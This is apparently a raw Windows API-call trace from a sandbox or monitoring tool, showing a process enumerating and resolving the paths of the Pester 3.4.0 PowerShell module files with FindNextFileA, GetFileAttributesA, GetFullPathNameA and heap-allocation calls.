ftLastAccessTime.dwLowDateTime=0x97e314c8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e314c8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2dc, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="GlobalMock-B.Tests.ps1", cAlternateFileName="")) returned 1 [0231.684] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x987bae9f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x987bae9f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x987bae9f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x335, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="In.ps1", cAlternateFileName="")) returned 1 [0231.684] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e57727, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e57727, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e57727, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="In.Tests.ps1", cAlternateFileName="")) returned 1 [0231.684] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x987bae9f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x987bae9f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x987bae9f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf41, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="InModuleScope.ps1", cAlternateFileName="")) returned 1 [0231.684] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98794c2c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x98794c2c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x98794c2c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="InModuleScope.Tests.ps1", cAlternateFileName="")) returned 1 [0231.685] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x987bae9f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x987bae9f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x987bae9f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2ea8, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="It.ps1", cAlternateFileName="")) returned 1 [0231.685] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e314c8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e314c8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e314c8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x261a, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="It.Tests.ps1", cAlternateFileName="")) returned 1 [0231.685] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98794c2c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x98794c2c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x98794c2c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xbf58, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="Mock.ps1", cAlternateFileName="")) returned 1 [0231.685] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e57727, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e57727, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e57727, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe941, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="Mock.Tests.ps1", cAlternateFileName="")) returned 1 [0231.685] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e314c8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e314c8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e314c8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xcef, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="New-Fixture.ps1", cAlternateFileName="")) returned 1 [0231.685] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x987bae9f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x987bae9f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x987bae9f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc82, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="New-Fixture.Tests.ps1", cAlternateFileName="")) returned 1 [0231.685] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e0b25d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e0b25d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e0b25d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x4bc5, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="PesterState.ps1", cAlternateFileName="")) returned 1 [0231.686] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e57727, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e57727, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e57727, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x386c, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="PesterState.Tests.ps1", cAlternateFileName="")) returned 1 [0231.686] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e314c8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e314c8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e314c8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x370d, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="SetupTeardown.ps1", cAlternateFileName="")) returned 1 [0231.686] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x986fc293, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x986fc293, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x986fc293, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x15c3, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="SetupTeardown.Tests.ps1", cAlternateFileName="")) returned 1 [0231.686] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98748765, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x98748765, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x98748765, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf0a, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="TestDrive.ps1", cAlternateFileName="")) returned 1 [0231.686] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e0b25d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e0b25d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e0b25d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1054, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="TestDrive.Tests.ps1", cAlternateFileName="")) returned 1 [0231.686] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9876e9c4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9876e9c4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9876e9c4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x4033, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="TestResults.ps1", cAlternateFileName="")) returned 1 [0231.686] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e57727, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e57727, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e57727, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x6be7, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="TestResults.Tests.ps1", cAlternateFileName="")) returned 1 [0231.686] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x987224f6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x987224f6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x987224f6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1a2c, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="TestsRunningInCleanRunspace.Tests.ps1", cAlternateFileName="")) returned 1 [0231.687] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x987224f6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x987224f6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x987224f6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1a2c, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="TestsRunningInCleanRunspace.Tests.ps1", cAlternateFileName="")) returned 0 [0231.687] FindClose (in: hFindFile=0x10f77d0 | out: hFindFile=0x10f77d0) returned 1 [0231.688] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\Assertions" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\functions\\assertions")) returned 0x10 [0231.688] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\BreakAndContinue.Tests.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\functions\\breakandcontinue.tests.ps1")) returned 0x20 [0231.689] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\Context.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\functions\\context.ps1")) returned 0x20 [0231.689] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\Context.Tests.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\functions\\context.tests.ps1")) returned 0x20 [0231.689] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\Coverage.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\functions\\coverage.ps1")) returned 0x20 [0231.690] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\Coverage.Tests.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\functions\\coverage.tests.ps1")) returned 0x20 [0231.690] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\Describe.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\functions\\describe.ps1")) returned 0x20 [0231.690] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\Describe.Tests.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\functions\\describe.tests.ps1")) returned 0x20 [0231.691] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\GlobalMock-A.Tests.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\functions\\globalmock-a.tests.ps1")) returned 0x20 [0231.691] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\GlobalMock-B.Tests.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\functions\\globalmock-b.tests.ps1")) returned 0x20 [0231.691] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\In.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\functions\\in.ps1")) returned 0x20 [0231.691] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\In.Tests.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\functions\\in.tests.ps1")) returned 0x20 [0231.692] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\InModuleScope.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\functions\\inmodulescope.ps1")) returned 0x20 [0231.692] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\InModuleScope.Tests.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\functions\\inmodulescope.tests.ps1")) returned 0x20 [0231.692] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\It.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\functions\\it.ps1")) returned 0x20 [0231.692] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\It.Tests.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\functions\\it.tests.ps1")) returned 0x20 [0231.700] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\Mock.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\functions\\mock.ps1")) returned 0x20 [0231.700] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\Mock.Tests.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\functions\\mock.tests.ps1")) returned 0x20 [0231.700] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\New-Fixture.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\functions\\new-fixture.ps1")) returned 0x20 [0231.701] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\New-Fixture.Tests.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\functions\\new-fixture.tests.ps1")) returned 0x20 [0231.702] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\PesterState.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\functions\\pesterstate.ps1")) returned 0x20 [0231.702] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\PesterState.Tests.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\functions\\pesterstate.tests.ps1")) returned 0x20 [0231.702] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\SetupTeardown.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\functions\\setupteardown.ps1")) returned 0x20 [0231.702] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\SetupTeardown.Tests.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\functions\\setupteardown.tests.ps1")) returned 0x20 [0231.703] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\TestDrive.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\functions\\testdrive.ps1")) returned 0x20 [0231.703] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\TestDrive.Tests.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\functions\\testdrive.tests.ps1")) returned 0x20 [0231.703] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\TestResults.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\functions\\testresults.ps1")) returned 0x20 [0231.703] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\TestResults.Tests.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\functions\\testresults.tests.ps1")) returned 0x20 [0231.704] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\TestsRunningInCleanRunspace.Tests.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\functions\\testsrunningincleanrunspace.tests.ps1")) returned 0x20 [0231.704] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\BreakAndContinue.Tests.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\BreakAndContinue.Tests.ps1", lpFilePart=0x9bada4*="BreakAndContinue.Tests.ps1") returned 0x62 [0231.704] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0231.705] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\Context.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\Context.ps1", lpFilePart=0x9bada4*="Context.ps1") returned 0x53 [0231.705] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\Context.Tests.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\Context.Tests.ps1", lpFilePart=0x9bada4*="Context.Tests.ps1") returned 0x59 [0231.705] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0231.705] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\Coverage.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\Coverage.ps1", lpFilePart=0x9bada4*="Coverage.ps1") returned 0x54 [0231.706] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\Coverage.Tests.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\Coverage.Tests.ps1", lpFilePart=0x9bada4*="Coverage.Tests.ps1") returned 0x5a [0231.706] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0231.706] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\Describe.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\Describe.ps1", lpFilePart=0x9bada4*="Describe.ps1") returned 0x54 [0231.706] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\Describe.Tests.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\Describe.Tests.ps1", lpFilePart=0x9bada4*="Describe.Tests.ps1") returned 0x5a [0231.706] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0231.706] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\GlobalMock-A.Tests.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\GlobalMock-A.Tests.ps1", lpFilePart=0x9bada4*="GlobalMock-A.Tests.ps1") returned 0x5e [0231.706] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\GlobalMock-B.Tests.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\GlobalMock-B.Tests.ps1", lpFilePart=0x9bada4*="GlobalMock-B.Tests.ps1") returned 0x5e [0231.707] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0231.707] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\In.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\In.ps1", lpFilePart=0x9bada4*="In.ps1") returned 0x4e [0231.707] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\In.Tests.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\In.Tests.ps1", lpFilePart=0x9bada4*="In.Tests.ps1") returned 0x54 [0231.707] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0231.707] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\InModuleScope.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\InModuleScope.ps1", lpFilePart=0x9bada4*="InModuleScope.ps1") returned 0x59 [0231.707] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\InModuleScope.Tests.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\InModuleScope.Tests.ps1", lpFilePart=0x9bada4*="InModuleScope.Tests.ps1") returned 0x5f [0231.707] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0231.708] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\It.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\It.ps1", lpFilePart=0x9bada4*="It.ps1") returned 0x4e [0231.708] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\It.Tests.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\It.Tests.ps1", lpFilePart=0x9bada4*="It.Tests.ps1") returned 0x54 [0231.708] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0231.708] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\Mock.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\Mock.ps1", lpFilePart=0x9bada4*="Mock.ps1") returned 0x50 [0231.708] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 